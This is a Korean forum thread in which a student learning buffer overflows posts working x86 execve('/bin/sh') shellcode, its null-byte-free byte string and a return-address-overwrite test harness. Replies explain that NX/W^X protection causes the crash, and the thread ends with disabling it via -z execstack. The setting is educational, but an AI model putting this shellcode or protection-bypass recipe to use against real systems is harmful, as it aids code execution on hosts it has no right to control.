스택에 값을 push하지 못하는 경우도 있나요?

글쓴이: 익명 사용자 / 작성시간: 일, 2019/01/06 - 6:26오후
버퍼오버플로우 이제 배워가는 학부생입니다.
쉘 코드를 달고나 문서를 보며 만들어가고 있는데, 컴파일러 버전이 다른건지 다음 부분에서 막힙니다.
일단 저는 밑의 코드를 통해 쉘 코드를 짠 다음, (execve로 "/bin/sh"를 실행시키는 코드입니다.)
void main(){ __asm__ __volatile__( "push $0x0 \n\t" //NULL "push $0x0068732f \n\t" //Little Endian, "/sh\0" "push $0x6e69622f \n\t" //Little Enduan, "/bin" "mov %esp, %ebx \n\t" //Current %esp: "/bin/sh\0", %esp->$ebx "push $0x0 \n\t" //?(?, ?, NULL) "push %ebx \n\t" //?(?, &("/bin/sh\0"), NULL) "mov %esp, %ecx \n\t" //Current %esp: "/bin/sh\0", %esp->$ecx "mov $0x0, %edx \n\t" //%edx = 0 "mov $0xb, %eax \n\t" //%eax = 0xb(11), System Call Vector = 11. "int $0x80 \n\t" //interrupt syscall(11), execve() ); }
이걸 GCC를 통해 다음과 같이 기계어 코드를 얻었습니다.
080483db <main>: 80483db: 55 push %ebp 80483dc: 89 e5 mov %esp,%ebp 80483de: 6a 00 push $0x0 80483e0: 68 2f 73 68 00 push $0x68732f 80483e5: 68 2f 62 69 6e push $0x6e69622f 80483ea: 89 e3 mov %esp,%ebx 80483ec: 6a 00 push $0x0 80483ee: 53 push %ebx 80483ef: 89 e1 mov %esp,%ecx 80483f1: ba 00 00 00 00 mov $0x0,%edx 80483f6: b8 0b 00 00 00 mov $0xb,%eax 80483fb: cd 80 int $0x80 80483fd: 90 nop 80483fe: 5d pop %ebp 80483ff: c3 ret
위 기계어 코드에서 NULL문자, 그러니까 0x00을 없애기 위해 다음과 같이 일부 변형을 가했습니다.
080483db <main>: 80483db: 55 push %ebp 80483dc: 89 e5 mov %esp,%ebp 80483de: 31 c0 xor %eax,%eax 80483e0: 50 push %eax 80483e1: 68 2f 2f 73 68 push $0x68732f2f 80483e6: 68 2f 62 69 6e push $0x6e69622f 80483eb: 89 e3 mov %esp,%ebx 80483ed: 50 push %eax 80483ee: 53 push %ebx 80483ef: 89 e1 mov %esp,%ecx 80483f1: 89 c2 mov %eax,%edx 80483f3: b0 0b mov $0xb,%al 80483f5: cd 80 int $0x80 80483f7: 90 nop 80483f8: 5d pop %ebp 80483f9: c3 ret
터미널에서 여기까지는 잘 실행되는데, 이 코드를 정리하여 다음 C 코드에 넣으려 하니 Segmentation Fault가 발생하더군요.
char sc[] = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80"; void main(){ int *ret; ret = (int *)&ret + 2; *ret = sc; }
Program received signal SIGSEGV, Segmentation fault. 0x0804a01a in sc () (gdb) disas $eip Dump of assembler code for function sc: 0x0804a018 <+0>: xor %eax,%eax => 0x0804a01a <+2>: push %eax 0x0804a01b <+3>: push $0x68732f2f 0x0804a020 <+8>: push $0x6e69622f 0x0804a025 <+13>: mov %esp,%ebx 0x0804a027 <+15>: push %eax 0x0804a028 <+16>: push %ebx 0x0804a029 <+17>: mov %esp,%ecx 0x0804a02b <+19>: mov %eax,%edx 0x0804a02d <+21>: mov $0xb,%al 0x0804a02f <+23>: int $0x80 0x0804a031 <+25>: add %al,(%eax) End of assembler dump. (gdb) x/16wx $esp-4 0xbfffef1c: 0x0804a018 0x00000001 0xbfffefb4 0xbfffefbc 0xbfffef2c: 0x00000000 0x00000000 0x00000000 0xb7fbb000 0xbfffef3c: 0xb7fffc04 0xb7fff000 0x00000000 0xb7fbb000 0xbfffef4c: 0xb7fbb000 0x00000000 0x03482ba2 0x38bd85b2 (gdb) i r eax 0x0 0 ecx 0x38bd85b2 951944626 edx 0x804a018 134520856 ebx 0x0 0 esp 0xbfffef20 0xbfffef20 ebp 0x0 0x0 esi 0xb7fbb000 -1208242176 edi 0xb7fbb000 -1208242176 eip 0x804a01a 0x804a01a <sc+2> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
여기서 0x0804a01a <+2>: push %eax에서 스택에 eax를 push하지 못하던데, 이런 경우가 있나요..
참고로 컴파일은
gcc -o ./sh03 ./sh03.c -fno-stack-protector -O0
와 같이 했습니다.
Forums:
혹시..
혹시 쉘 코드가 .data영역에 있어서 실행 가능하지 않아 발생하는 문제는 아닐까요..?
보안과목을 들었는데도 가물가물 하군요 ㅜ 프로세스 맵으로 한번 해당 메모리 영역에 실행가능 권한이 있는지
확인해보시면 어떨까요?
Executable space protection
아래와 같이 하면 아마 잘 될 겁니다.
https://en.wikipedia.org/wiki/Executable_space_protection
컴퓨터 역사의 초창기에는 읽을 수 있는 메모리 영역은 무조건 실행도 가능한 경우가 많았습니다. 근데 그러다보니 공격자가 온갖 이상한 방법으로 쉘코드를 메모리에 주입하여 실행시키는 문제가 빈발해서, 메모리 권한 관리에 실행 권한이 추가되기에 이릅니다.
예컨대 c언어 프로그램에서 초기값이 있는 전역 및 정적 변수들이 들어가는 .data section는 일반적으로는 실행 가능한 코드가 들어갈 일이 없기 때문에 실행 권한이 없는 채로 올라갑니다.
readelf -S sh03
명령어로 확인해 보시기 바랍니다.해결 방법은 뭐 다양하게 있을 수 있겠는데, 런타임에 해결하는 방법으로는 mmap을 써서 명시적으로 쓰기도 가능하고 실행도 가능한 메모리 영역을 받아서 거기에 쉘코드를 넣고 실행시키는 방법이 있고요 (위 코드)
빌드 타임에 해결하는 방법으로는 그냥 sc 배열을 실행 가능한 섹션에 배치하도록 gcc attribute를 쓰면 됩니다. 약간의 컴파일러 해킹이 필요합니다. GNU assembler와 linker에 대한 배경지식도요.
https://gcc.gnu.org/onlinedocs/gcc/Common-Variable-Attributes.html#Common-Variable-Attributes
https://stackoverflow.com/questions/6252812/what-does-the-aw-flag-in-the-section-attribute-mean
(1) 뭐 지금 해킹 공부중이시니 아시겠지만, 런타임에 쓰기가 가능하면서 실행도 가능한 메모리 영역을 가지고 있는 건 보안 측면에서 썩 좋은 생각이 아닙니다.
그럴 필요가 있는 경우가 흔하진 않아도 없진 않아서 지원을 하긴 하는데, 주의를 할 필요가 있겠죠.
이 원칙을 W^X라고 줄여서 나타내기도 하는데, 문자 그대로 쓰기 가능하거나(W) 실행 가능하거나(X) 둘 중 하나(xor)란 얘기죠.
(2) 요즘 컴퓨터들은 고전적인 해킹 기법을 그대로 적용하기 상당히 번거롭게 만들어져 있어서 공부할 때 불편하지요. 어쩔 수 없어요.
감사합니다.
감사합니다. 실행 가능 공간 보호를 찾아보고, NX Bit라는 것을 알게 되었고, GCC 컴파일러 옵션에 -z execstack이란 것이 있다는 것을 알게 되었습니다. 다음과 같이 컴파일하면 작동하는군요.
나머지 알려주신 것들에 대해서는 더 공부해봐야겠습니다...
댓글 달기